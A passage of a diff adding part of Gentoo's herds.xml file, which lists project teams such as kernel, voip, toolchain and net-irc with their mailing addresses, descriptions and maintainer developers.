+    <name>Dawid Węgliński</name>
+  </maintainer>
+  <maintainer>
+    <email>voxus@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>hp-cluster</name>
+  <email>hp-cluster@gentoo.org</email>
+  <description>Gentoo High-Performance Cluster Team</description>
+  <maintainer>
+    <email>voxus@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>markusle@gentoo.org</email>
+    <name>Markus Dittrich</name>
+  </maintainer>
+  <maintainer>
+    <email>jsbronder@gentoo.org</email>
+    <name>Justin Bronder</name>
+  </maintainer>
+  <maintainer>
+    <email>weaver@gentoo.org</email>
+    <name>Andrey Kislyuk</name>
+  </maintainer>
+  <maintainer>
+    <email>alexxy@gentoo.org</email>
+    <name>Alexey Shvetsov</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>mobile</name>
+  <email>mobile@gentoo.org</email>
+  <description>Mobile computing, including wireless networking (IEEE
+  802.11, bluetooth, infrared, etc), power management and laptop
+  specific packages</description>
+  <maintainer>
+    <email>steev@gentoo.org</email>
+    <name>Stephen Klimaszewski</name>
+    <role>APM</role>
+  </maintainer>
+  <maintainer>
+    <email>cardoe@gentoo.org</email>
+    <name>Doug Goldstein</name>
+  </maintainer>
+  <maintainer>
+    <email>betelgeuse@gentoo.org</email>
+    <name>Petteri Räty</name>
+    <role>maintainer of linux-wlan-ng and longrun</role>
+  </maintainer>
+  <maintainer>
+    <email>peper@gentoo.org</email>
+    <name>Piotr Jaroszyński</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>postgresql</name>
+  <email>pgsql-bugs@gentoo.org</email>
+  <description>PostgreSQL and related packages</description>
+  <maintainer>
+    <email>dev-zero@gentoo.org</email>
+    <name>Tiziano Müller</name>
+    <role>Lead</role>
+  </maintainer>
+  <maintainer>
+    <email>voxus@gentoo.org</email>
+    <name>Konstantin V. Arkhipov</name>
+    <role>Member</role>
+  </maintainer>
+  <maintainer>
+    <email>patrick@gentoo.org</email>
+    <name>Patrick Lauer</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>secure-tunneling</name>
+  <description>IPSec and VPN and other secure tunneling related packages</description>
+</herd>
+<herd>
+  <name>net-im</name>
+  <email>net-im@gentoo.org</email>
+  <description>Instant messaging clients and servers</description>
+  <maintainer>
+    <email>chainsaw@gentoo.org</email>
+    <name>Tony Vroon</name>
+    <role>ejabberd and jabber-base</role>
+  </maintainer>
+  <maintainer>
+    <email>tester@gentoo.org</email>
+    <name>Olivier Crête</name>
+  </maintainer>
+  <maintainer>
+    <email>griffon26@gentoo.org</email>
+    <name>Maurice van der Pot</name>
+    <role>pyicq-t and pymsn-t</role>
+  </maintainer>
+  <maintainer>
+    <email>wschlich@gentoo.org</email>
+    <name>Wolfram Schlich</name>
+    <role>MCabber</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>sparc</name>
+  <email>sparc@gentoo.org</email>
+  <description>Gentoo/Sparc Team</description>
+  <maintainer>
+    <email>jer@gentoo.org</email>
+    <name>Jeroen Roovers</name>
+  </maintainer>
+  <maintainer>
+    <email>armin76@gentoo.org</email>
+    <name>Raúl Porcel</name>
+  </maintainer>
+  <maintainer>
+    <email>tcunha@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>mips</name>
+  <email>mips@gentoo.org</email>
+  <description>Gentoo/MIPS Team</description>
+  <maintainer>
+    <email>iluxa@gentoo.org</email>
+    <name>Ilya Volynets</name>
+  </maintainer>
+  <maintainer>
+    <email>kanaka@gentoo.org</email>
+    <name>Joel Martin</name>
+  </maintainer>
+  <maintainer>
+    <email>kumba@gentoo.org</email>
+    <name>Joshua Kinard</name>
+  </maintainer>
+  <maintainer>
+    <email>redhatter@gentoo.org</email>
+    <name>Stuart Longland</name>
+  </maintainer>
+  <maintainer>
+    <email>ricmm@gentoo.org</email>
+    <name>Ricardo Mendoza</name>
+  </maintainer>
+  <maintainer>
+    <email>alexxy@gentoo.org</email>
+    <name>Alexey Shvetsov</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>web-apps</name>
+  <email>web-apps@gentoo.org</email>
+  <description>Web based applications and their configuration</description>
+  <maintainer>
+    <email>hollow@gentoo.org</email>
+    <name>Benedikt Böhm</name>
+  </maintainer>
+  <maintainer>
+    <email>trapni@gentoo.org</email>
+    <name>Christian Parpart</name>
+    <role>Some minor/certain packages.</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>pda</name>
+  <email>pda@gentoo.org</email>
+  <description>PDA Related Applications and Libraries</description>
+  <maintainer>
+    <email>peper@gentoo.org</email>
+    <name>Piotr Jaroszyński</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>video</name>
+  <email>media-video@gentoo.org</email>
+  <description>Video related programs that don't fit into media-tv</description>
+  <maintainer>
+    <email>phosphan@gentoo.org</email>
+    <name>Patrick Kursawe</name>
+    <role>Can test webcam related stuff if needed</role>
+  </maintainer>
+  <maintainer>
+    <email>lu_zero@gentoo.org</email>
+    <name>Luca Barbato</name>
+  </maintainer>
+  <maintainer>
+    <email>lordvan@gentoo.org</email>
+    <name>Thomas Raschbacher</name>
+    <role>Mainly DVB related stuff.</role>
+  </maintainer>
+  <maintainer>
+    <email>trapni@gentoo.org</email>
+    <name>Christian Parpart</name>
+  </maintainer>
+  <maintainer>
+    <email>zzam@gentoo.org</email>
+    <name>Matthias Schwarzott</name>
+  </maintainer>
+  <maintainer>
+    <email>hanno@gentoo.org</email>
+    <name>Hanno Böck</name>
+  </maintainer>
+  <maintainer>
+    <email>chutzpah@gentoo.org</email>
+    <name>Patrick McLean</name>
+  </maintainer>
+  <maintainer>
+  <email>hd_brummy@gentoo.org</email>
+  <name>Joerg Bornkessel</name>
+  <role>vdr and related things</role>
+  </maintainer>
+  <maintainer>
+    <email>aballier@gentoo.org</email>
+    <name>Alexis Ballier</name>
+  </maintainer>
+  <maintainer>
+    <email>spatz@gentoo.org</email>
+    <name>Dror Levin</name>
+  </maintainer>
+  <maintainer>
+    <email>beandog@gentoo.org</email>
+    <name>Steve Dibb</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>media-tv</name>
+  <email>media-tv@gentoo.org</email>
+  <description>TV related applications and modules</description>
+  <maintainer>
+    <email>cardoe@gentoo.org</email>
+    <name>Doug Goldstein</name>
+    <role>MythTV related bits</role>
+  </maintainer>
+  <maintainer>
+    <email>zzam@gentoo.org</email>
+    <name>Matthias Schwarzott</name>
+    <role>vdr and related things</role>
+  </maintainer>
+  <maintainer>
+  <email>hd_brummy@gentoo.org</email>
+  <name>Joerg Bornkessel</name>
+  <role>vdr and related things</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>text-markup</name>
+  <email>text-markup@gentoo.org</email>
+  <description>Docbook-xml, Docbook-sgml, TeX and text utilities</description>
+  <maintainer>
+    <email>cryos@gentoo.org</email>
+    <name>Marcus D. Hanwell</name>
+    <role>LaTeX and related packages</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>antivirus</name>
+  <email>antivirus@gentoo.org</email>
+  <description>
+    Antivirus related stuff like e-mail-scanning, on-access
+    scanning or generic/daemon av-scanners
+  </description>
+  <maintainer>
+    <email>lordvan@gentoo.org</email>
+    <name>Thomas Raschbacher</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>pam</name>
+  <email>pam-bugs@gentoo.org</email>
+  <description>PAM related packages</description>
+  <maintainer>
+  <email>flameeyes@gentoo.org</email>
+  <name>Diego Pettenò</name>
+  <role>Linux-PAM, OpenPAM, and generic scapegoat</role>
+  </maintainer>
+  <maintainer>
+    <email>robbat2@gentoo.org</email>
+    <name>Robin H. Johnson</name>
+    <role>pam_ldap, nss_ldap, nss-db.</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>kernel</name>
+  <email>kernel@gentoo.org</email>
+  <description>Core kernels stuff</description>
+  <maintainer>
+    <email>gregkh@gentoo.org</email>
+    <name>Greg Kroah-Hartman</name>
+  </maintainer>
+  <maintainer>
+    <email>spock@gentoo.org</email>
+    <name>Michal Januszewski</name>
+  </maintainer>
+  <maintainer>
+    <email>chainsaw@gentoo.org</email>
+    <name>Tony Vroon</name>
+  </maintainer>
+  <maintainer>
+    <email>hollow@gentoo.org</email>
+    <name>Benedikt Böhm</name>
+  </maintainer>
+  <maintainer>
+    <email>marineam@gentoo.org</email>
+    <name>Michael Marineau</name>
+  </maintainer>
+  <maintainer>
+    <email>dang@gentoo.org</email>
+    <name>Daniel Gryniewicz</name>
+    <role>usermode-sources</role>
+  </maintainer>
+   <maintainer>
+    <email>dsd@gentoo.org</email>
+    <name>Daniel Drake</name>
+    <role>gentoo-sources</role>
+  </maintainer>
+  <maintainer>
+    <email>mpagano@gentoo.org</email>
+    <name>Mike Pagano</name>
+    <role>gentoo-sources</role>
+  </maintainer>
+  <maintainer>
+    <email>nelchael@gentoo.org</email>
+    <name>Krzysztof Pawlik</name>
+    <role>tuxonice-sources, vanilla-sources</role>
+  </maintainer>
+  <maintainer>
+    <email>asn@gentoo.org</email>
+    <name>George Kadianakis</name>
+    <role>gentoo-sources</role>
+  </maintainer>
+  <maintainer>
+    <email>hwoarang@gentoo.org</email>
+    <name>Markos Chandras</name>
+    <role>gentoo-sources</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>kernel-misc</name>
+  <email>kernel-misc@gentoo.org</email>
+  <description>Kernel related packages</description>
+   <maintainer>
+    <email>dsd@gentoo.org</email>
+    <name>Daniel Drake</name>
+    <role>gentoo-sources</role>
+  </maintainer>
+  <maintainer>
+    <email>robbat2@gentoo.org</email>
+    <name>Robin H. Johnson</name>
+  </maintainer>
+  <maintainer>
+    <email>solar@gentoo.org</email>
+    <name>Ned Ludd</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>sparc-kernel</name>
+  <email>sparc-kernel@gentoo.org</email>
+  <description>Kernel packages for Gentoo/SPARC</description>
+  <maintainer>
+    <email>joker@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>ppc-kernel</name>
+  <email>ppc-kernel@gentoo.org</email>
+  <description>Kernel packages for Gentoo/PPC</description>
+  <maintainer>
+    <email>lu_zero@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>hppa-kernel</name>
+  <email>hppa-kernel@gentoo.org</email>
+  <description>Kernel packages for Gentoo/HP-PA</description>
+  <maintainer>
+    <email>gmsoft@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>mips-kernel</name>
+  <email>mips-kernel</email>
+  <description>Kernel Packages for Gentoo/MIPS</description>
+  <maintainer>
+    <email>kumba@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>openoffice</name>
+  <email>openoffice@gentoo.org</email>
+  <description>Openoffice related packages</description>
+  <maintainer>
+    <email>pauldv@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>suka@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>app-dicts</name>
+  <email>app-dicts@gentoo.org</email>
+  <description>Spell checking programs and dictionaries</description>
+  <maintainer>
+    <email>pva@gentoo.org</email>
+    <name>Peter Volkov</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>voip</name>
+  <email>voip@gentoo.org</email>
+  <description>Voice-over-IP related packages</description>
+  <maintainer>
+    <email>dragonheart@gentoo.org</email>
+    <name>Daniel Black</name>
+  </maintainer>
+  <maintainer>
+    <email>rajiv@gentoo.org</email>
+    <name>Rajiv Aaron Manglani</name>
+		<role>Asterisk related stuff</role>
+  </maintainer>
+  <maintainer>
+    <email>peper@gentoo.org</email>
+    <name>Piotr Jaroszyński</name>
+  </maintainer>
+  <maintainer>
+    <email>chainsaw@gentoo.org</email>
+		<name>Tony Vroon</name>
+		<role>Asterisk related stuff</role>
+  </maintainer>
+  <maintainer>
+    <email>volkmar@gentoo.org</email>
+		<name>Mounir Lamouri</name>
+		<role>General stuff</role>
+  </maintainer>
+  <maintainer>
+    <email>tester@gentoo.org</email>
+		<name>Olivier Crête</name>
+		<role>Telepathy related stuff</role>
+	</maintainer>
+	<maintainer>
+		<email>nirbheek@gentoo.org</email>
+		<name>Nirbheek Chauhan</name>
+		<role>Telepathy related stuff</role>
+	</maintainer>
+  <maintainer>
+    <email>chithanh@gentoo.org</email>
+    <name>Chí-Thanh Christopher Nguyễn</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>net-p2p</name>
+  <email>net-p2p@gentoo.org</email>
+  <description>Peer to Peer network related packages</description>
+  <maintainer>
+    <email>armin76@gentoo.org</email>
+    <name>Raúl Porcel</name>
+  </maintainer>
+  <maintainer>
+    <email>sochotnicky@gentoo.org</email>
+    <name>Stanislav Ochotnický</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>net-zope</name>
+  <email>net-zope@gentoo.org</email>
+  <description>Zope and ZProduct packages</description>
+  <maintainer>
+    <email>radek@gentoo.org</email>
+    <name>Radoslaw Stachowiak</name>
+  </maintainer>
+  <maintainer>
+    <email>tupone@gentoo.org</email>
+    <name>Alfredo Tupone</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>dev-embedded</name>
+  <email>dev-embedded@gentoo.org</email>
+  <description>Development tools for embedded systems and micro-controllers</description>
+  <maintainer>
+    <email>dragonheart@gentoo.org</email>
+    <name>Daniel Black</name>
+  </maintainer>
+  <maintainer>
+    <email>calchan@gentoo.org</email>
+    <name>Denis Dupeyron</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>desktop-effects</name>
+  <email>desktop-effects@gentoo.org</email>
+  <description>Compiz and other 3D Window Managers</description>
+  <maintainer>
+    <email>jmbsvicetto@gentoo.org</email>
+    <name>Jorge Manuel B. S. Vicetto</name>
+  </maintainer>
+  <maintainer>
+    <email>hanno@gentoo.org</email>
+    <name>Hanno Böck</name>
+  </maintainer>
+  <maintainer>
+	<email>mrpouet@gentoo.org</email>
+	<name>Romain Perier</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>desktop-misc</name>
+  <email>desktop-misc@gentoo.org</email>
+  <description>Various small utilities for X11 that do not fit any other category</description>
+  <maintainer>
+    <email>nelchael@gentoo.org</email>
+    <name>Krzysztof Pawlik</name>
+  </maintainer>
+  <maintainer>
+    <email>hwoarang@gentoo.org</email>
+    <name>Markos Chandras</name>
+  </maintainer>
+  <maintainer>
+    <email>xarthisius@gentoo.org</email>
+    <name>Kacper Kowalik</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>desktop-wm</name>
+  <email>desktop-wm@gentoo.org</email>
+  <description>Various window managers for X11.</description>
+  <maintainer>
+    <email>lack@gentoo.org</email>
+    <name>Jim Ramsay</name>
+  </maintainer>
+  <maintainer>
+    <email>xarthisius@gentoo.org</email>
+    <name>Kacper Kowalik</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>xfce</name>
+  <email>xfce@gentoo.org</email>
+  <description>The XFCE Desktop Environment</description>
+  <maintainer>
+    <email>angelos@gentoo.org</email>
+    <name>Christoph Mende</name>
+  </maintainer>
+  <maintainer>
+    <email>darkside@gentoo.org</email>
+    <name>Jeremy Olexa</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>graphics</name>
+  <email>graphics@gentoo.org</email>
+  <description>media-gfx and related packages</description>
+  <maintainer>
+    <email>lu_zero@gentoo.org</email>
+    <name>Luca Barbato</name>
+  </maintainer>
+  <maintainer>
+    <email>vanquirius@gentoo.org</email>
+    <name>Marcelo Goes</name>
+  </maintainer>
+  <maintainer>
+    <email>maekke@gentoo.org</email>
+    <name>Markus Meier</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>tools-portage</name>
+  <email>tools-portage@gentoo.org</email>
+  <description>Portage-related utilities</description>
+  <maintainer>
+    <email>fuzzyray@gentoo.org</email>
+    <name>Paul Varner</name>
+  </maintainer>
+  <maintainer>
+    <email>zmedico@gentoo.org</email>
+    <name>Zac Medico</name>
+  </maintainer>
+  <maintainer>
+    <email>idl0r@gentoo.org</email>
+    <name>Christian Ruppert</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>net-dialup</name>
+  <email>net-dialup@gentoo.org</email>
+  <description>Dialup connection tools</description>
+  <maintainer>
+    <email>mrness@gentoo.org</email>
+    <name>Alin Nastac</name>
+  </maintainer>
+  <maintainer>
+    <email>sbriesen@gentoo.org</email>
+    <name>Stefan Briesenick</name>
+  </maintainer>
+  <maintainer>
+    <email>pva@gentoo.org</email>
+    <name>Peter Volkov</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>embedded</name>
+  <email>embedded@gentoo.org</email>
+  <description>Embedded systems packages</description>
+  <!-- Either maintainers or a maintaining project is allowed, not both -->    <maintainer>
+    <email>pebenito@gentoo.org</email>
+    <name>Chris PeBenito</name>
+  </maintainer>
+  <maintainer>
+    <email>solar@gentoo.org</email>
+    <name>Ned Ludd</name>
+  </maintainer>
+  <maintainer>
+    <email>kumba@gentoo.org</email>
+    <name>Joshua Kinard</name>
+    <role>Crossdev</role>
+  </maintainer>
+  <maintainer>
+    <email>dagger@gentoo.org</email>
+    <name>Robert Piasek</name>
+  </maintainer>
+  <maintainer>
+    <email>b33fc0d3@gentoo.org</email>
+    <name>Ahmed Ammar</name>
+  </maintainer>
+  <!-- Do not enable it until the file does not give 500 errors anymore
+  <maintainingproject>/proj/en/base/embedded/index.xml</maintainingproject>
+  -->  </herd>
+<herd>
+  <name>hppa</name>
+  <email>hppa@gentoo.org</email>
+  <description>HPPA specific packages</description>
+  <maintainer>
+    <email>gmsoft@gentoo.org</email>
+    <name>Guy Martin</name>
+  </maintainer>
+  <maintainer>
+    <email>vapier@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>dertobi123@gentoo.org</email>
+    <name>Tobias Scherbaum</name>
+    <role>Releng</role>
+  </maintainer>
+  <maintainer>
+    <email>jer@gentoo.org</email>
+    <name>Jeroen Roovers</name>
+    <role>Testing</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>arm</name>
+  <email>arm@gentoo.org</email>
+  <description>ARM architecture specific packages</description>
+  <maintainer>
+    <email>vapier@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>armin76@gentoo.org</email>
+    <name>Raúl Porcel</name>
+  </maintainer>
+  <maintainer>
+    <email>maekke@gentoo.org</email>
+    <name>Markus Meier</name>
+  </maintainer>
+  <maintainer>
+    <email>b33fc0d3@gentoo.org</email>
+    <name>Ahmed Ammar</name>
+  </maintainer>
+  <maintainer>
+    <email>dagger@gentoo.org</email>
+    <name>Robert Piasek</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>desktop-dock</name>
+  <email>desktop-dock@gentoo.org</email>
+  <description>WindowMaker/Blackbox Dockapps</description>
+  <maintainer>
+    <email>s4t4n@gentoo.org</email>
+    <name>Michele Noberasco</name>
+  </maintainer>
+  <maintainer>
+    <email>lack@gentoo.org</email>
+    <name>Jim Ramsay</name>
+    <role>gkrellm maintainer</role>
+  </maintainer>
+  <maintainer>
+    <email>voyageur@gentoo.org</email>
+    <name>Bernard Cafarelli</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>net-fs</name>
+  <email>net-fs@gentoo.org</email>
+  <description>network based filesystems and support</description>
+  <maintainer>
+    <email>vapier@gentoo.org</email>
+    <role>help with portmap/nfs-utils/etc...</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>prolog</name>
+  <email>prolog@gentoo.org</email>
+  <description>Prolog related stuff. Compilers/interpreters, etc</description>
+  <maintainer>
+    <email>pvdabeel@gentoo.org</email>
+    <name>Pieter Van den Abeele</name>
+  </maintainer>
+  <maintainer>
+    <email>george@gentoo.org</email>
+    <name>George Shapovalov</name>
+  </maintainer>
+  <maintainer>
+    <email>keri@gentoo.org</email>
+    <name>Keri Harris</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>scheme</name>
+  <email>scheme@gentoo.org</email>
+  <description>Scheme compilers, interpreters and libraries.</description>
+  <maintainer><email>hkBst@gentoo.org</email></maintainer>
+  <maintainer><email>araujo@gentoo.org</email><name>Luis F. Araujo</name></maintainer>
+  <maintainer>
+    <email>pchrist@gentoo.org</email>
+    <name>Panagiotis Christopoulos</name>
+  </maintainer>
+  <maintainer>
+    <email>chiiph@gentoo.org</email>
+    <name>Tomas Touceda</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>fonts</name>
+  <email>fonts@gentoo.org</email>
+  <description>Fonts packages</description>
+  <maintainingproject>/proj/en/desktop/x/fonts/index.xml</maintainingproject>
+</herd>
+<herd>
+  <name>alpha</name>
+  <email>alpha@gentoo.org</email>
+  <description>Alpha specific packages</description>
+  <maintainer>
+    <email>armin76@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>klausman@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>ia64</name>
+  <email>ia64@gentoo.org</email>
+  <description>IA-64 specific packages</description>
+  <maintainer>
+    <email>vapier@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+  <email>armin76@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>lang-misc</name>
+  <email>lang-misc@gentoo.org</email>
+  <description>Programming language related packages (mostly under dev-lang) that do not easilly fall under individual category</description>
+  <maintainer>
+    <email>george@gentoo.org</email>
+    <name>George Shapovalov</name>
+    <role>initiator of the herd, maintain some of the packages (see individual metadata)</role>
+  </maintainer>
+  <maintainer>
+    <email>truedfx@gentoo.org</email>
+    <name>Harald van Dijk</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>netmon</name>
+  <email>netmon@gentoo.org</email>
+  <description>Network monitoring software and tools</description>
+  <maintainer>
+    <email>vapier@gentoo.org</email>
+    <role>netcat and a small handful of packages</role>
+  </maintainer>
+  <maintainer>
+    <email>dragonheart@gentoo.org</email>
+    <name>Daniel Black</name>
+  </maintainer>
+  <maintainer>
+    <email>vanquirius@gentoo.org</email>
+    <name>Marcelo Goes</name>
+  </maintainer>
+  <maintainer>
+    <email>pva@gentoo.org</email>
+    <name>Peter Volkov</name>
+  </maintainer>
+  <maintainer>
+    <email>jokey@gentoo.org</email>
+    <name>Markus Ullmann</name>
+  </maintainer>
+  <maintainer>
+      <email>cedk@gentoo.org</email>
+      <name>Cédric Krier</name>
+  </maintainer>
+  <maintainer>
+    <email>falco@gentoo.org</email>
+    <name>Raphaël Marichez</name>
+  </maintainer>
+  <maintainer>
+    <email>dertobi123@gentoo.org</email>
+    <name>Tobias Scherbaum</name>
+  </maintainer>
+  <maintainer>
+    <email>jer@gentoo.org</email>
+    <name>Jeroen Roovers</name>
+  </maintainer>
+  <maintainer>
+    <email>wschlich@gentoo.org</email>
+    <name>Wolfram Schlich</name>
+    <role>Zabbix</role>
+  </maintainer>
+</herd>
+<herd>
+  <name>net-irc</name>
+  <email>net-irc@gentoo.org</email>
+  <description>IRC and related ebuilds</description>
+  <maintainer>
+    <email>swegener@gentoo.org</email>
+    <name>Sven Wegener</name>
+  </maintainer>
+  <maintainer>
+    <email>jokey@gentoo.org</email>
+    <name>Markus Ullmann</name>
+  </maintainer>
+  <maintainer>
+    <email>gurligebis@gentoo.org</email>
+    <name>Bjarke Istrup Pedersen</name>
+  </maintainer>
+  <maintainer>
+    <email>armin76@gentoo.org</email>
+    <name>Raúl Porcel</name>
+  </maintainer>
+  <maintainer>
+    <email>cla@gentoo.org</email>
+    <name>Dawid Węgliński</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>s390</name>
+  <email>s390@gentoo.org</email>
+  <description>s390/s390x architecture specific packages</description>
+  <maintainer>
+    <email>vapier@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>armin76@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>sh</name>
+  <email>sh@gentoo.org</email>
+  <description>SuperH architecture specific packages</description>
+  <maintainer>
+    <email>vapier@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>armin76@gentoo.org</email>
+    <name>Raúl Porcel</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>shell-tools</name>
+  <email>shell-tools@gentoo.org</email>
+  <description>Tools used from within a shell environment</description>
+  <maintainer>
+    <email>swegener@gentoo.org</email>
+    <name>Sven Wegener</name>
+  </maintainer>
+  <maintainer>
+    <email>darkside@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>jlec@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>sysadmin</name>
+  <email>sysadmin@gentoo.org</email>
+  <description>System Administration packages</description>
+  <maintainer>
+    <email>klieber@gentoo.org</email>
+    <name>Kurt Lieber</name>
+    <role>Team lead</role>
+  </maintainer>
+  <maintainer>
+    <email>pva@gentoo.org</email>
+    <name>Peter Volkov</name>
+  </maintainer>
+  <maintainer>
+    <email>dev-zero@gentoo.org</email>
+    <name>Tiziano Müller</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>livecd</name>
+  <email>livecd@gentoo.org</email>
+  <description>Gentoo LiveCD Team</description>
+  <maintainer>
+    <email>blackace@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>jer@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>pva@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>toolchain</name>
+  <email>toolchain@gentoo.org</email>
+  <description>Manages gcc/binutils/glibc and other toolchain-related packages</description>
+  <maintainer>
+    <email>dirtyepic@gentoo.org</email>
+    <name>Ryan Hill</name>
+  </maintainer>
+  <maintainer>
+    <email>halcy0n@gentoo.org</email>
+    <name>Mark Loeser</name>
+  </maintainer>
+  <maintainer>
+    <email>iluxa@gentoo.org</email>
+    <name>Ilya A. Volynets-Evenbakh</name>
+    <role>multilib for MIPS support. (o32/n32/n64 ABIs)</role>
+  </maintainer>
+  <maintainer>
+    <email>kumba@gentoo.org</email>
+    <name>Joshua Kinard</name>
+  </maintainer>
+  <maintainer>
+    <email>lu_zero@gentoo.org</email>
+    <name>Luca Barbato</name>
+  </maintainer>
+  <maintainer>
+    <email>solar@gentoo.org</email>
+    <name>Ned Ludd</name>
+  </maintainer>
+  <maintainer>
+    <email>tgall@gentoo.org</email>
+    <name>Tom Gall</name>
+  </maintainer>
+  <maintainer>
+    <email>vapier@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>gcc-porting</name>
+  <email>gcc-porting</email>
+  <description>Handles porting of packages to newer toolchain versions</description>
+  <maintainer>
+    <email>halcy0n@gentoo.org</email>
+    <name>Mark Loeser</name>
+  </maintainer>
+  <maintainer>
+    <email>kumba@gentoo.org</email>
+    <name>Joshua Kinard</name>
+  </maintainer>
+  <maintainer>
+    <email>lu_zero@gentoo.org</email>
+    <name>Luca Barbato</name>
+  </maintainer>
+  <maintainer>
+    <email>pvdabeel@gentoo.org</email>
+    <name>Pieter van den Abeele</name>
+  </maintainer>
+  <maintainer>
+    <email>vapier@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>dirtyepic@gentoo.org</email>
+    <name>Ryan Hill</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>net-news</name>
+  <email>net-news@gentoo.org</email>
+  <description>Herd for NNTP related packages in net-news</description>
+  <maintainer>
+    <email>swegener@gentoo.org</email>
+    <name>Sven Wegener</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>bind</name>
+  <email>bind@gentoo.org</email>
+  <description>Herd for net-dns/bind and net-dns/bind-utils</description>
+  <maintainer>
+    <email>voxus@gentoo.org</email>
+    <name>Konstantin V. Arkhipov</name>
+  </maintainer>
+  <maintainer>
+    <email>idl0r@gentoo.org</email>
+    <name>Christian Ruppert</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>benchmarks</name>
+  <email>benchmarks@gentoo.org</email>
+  <description>Herd for app-benchmarks</description>
+  <maintainer>
+    <email>patrick@gentoo.org</email>
+    <name>Patrick Lauer</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>amd64</name>
+  <email>amd64@gentoo.org</email>
+  <description>x86_64-specific packages</description>
+  <maintainingproject>/proj/en/base/amd64/index.xml</maintainingproject>
+</herd>
+<herd>
+  <name>tcltk</name>
+  <email>tcltk@gentoo.org</email>
+  <description>TCL / TK Packages</description>
+  <maintainer>
+    <email>matsuu@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+    <email>mescalinum@gentoo.org</email>
+    <name>Federico Ferri</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>utf8</name>
+  <email>utf8@gentoo.org</email>
+  <description>Improve support for UTF-8 in Gentoo</description>
+</herd>
+<herd>
+  <name>media-optical</name>
+  <email>media-optical@gentoo.org</email>
+  <description>Tools for handling optical media, especially CD and DVD burning
+    software</description>
+</herd>
+<herd>
+  <name>gstreamer</name>
+  <email>gstreamer@gentoo.org</email>
+  <description>Handles all gstreamer related packages</description>
+  <maintainer>
+    <email>hanno@gentoo.org</email>
+    <role>Apprentice</role>
+  </maintainer>
+  <maintainer>
+     <email>leio@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+     <email>ford_prefect@gentoo.org</email>
+  </maintainer>
+  <maintainer>
+     <email>tester@gentoo.org</email>
+  </maintainer>
+</herd>
+<herd>
+  <name>samba</name>
+  <email>samba@gentoo.org</email>
+  <description>Handles all issues related to Samba in Gentoo</description>
+  <maintainer>
+    <email>dev-zero@gentoo.org</email>
+    <name>Tiziano Müller</name>
+  </maintainer>
+  <maintainer>
+    <email>patrick@gentoo.org</email>
+    <name>Patrick Lauer</name>
+  </maintainer>
+</herd>
+<herd>
+  <name>vmware</name>
+  <email>vmware@gentoo.org</email>
+  <description>Handles all issues with VMware and VMware-related ebuilds in Gentoo</description>
+    <maintainingproject>/proj/en/virtualization/vmware/index.xml</maintainingproject>
+</herd>
+<herd>
+  <name>www-servers</name>
+  <email>www-servers@gentoo.org</email>
+  <description>Web servers other than Apache</description>
+  <maintainer>
+    <email>bass@gentoo.org</email>
